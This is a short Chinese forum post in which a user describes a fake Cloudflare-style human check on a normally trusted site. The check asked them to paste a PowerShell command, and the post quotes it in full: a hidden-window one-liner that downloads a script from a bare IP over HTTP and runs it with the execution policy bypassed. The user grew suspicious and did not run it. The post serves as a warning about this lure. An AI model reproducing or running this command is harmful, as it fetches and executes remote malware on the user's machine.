让我执行的命令

powershell -w h -c "$u='http://83.217.209.227/2UP.lim';$p=\"$env:USERPROFILE\Music\d.ps1\";(New-Object System.Net.WebClient).DownloadFile($u,$p);powershell -w h -ep bypass -f $p"

我还想着 CF 什么时候这么狠了，居然让用户执行 Shell 验证（第一反应以为是想让用户通过 Shell 往服务器上 POST 一些东西来证明不是 robot ），看到这里面的 URL 居然直接用 IP 地址而且没有 https ，还好多了个心眼。

想看看这脚本到底是啥，直接打开上面那个 URL 被卡巴斯基拦截了。

不过现在好像已经 404 了，不知道是不是会判断 UA 啥的，用浏览器打开就 404 。

关键是，这理应是个正规站（所以一开始我心理没设防），难道是被黑了？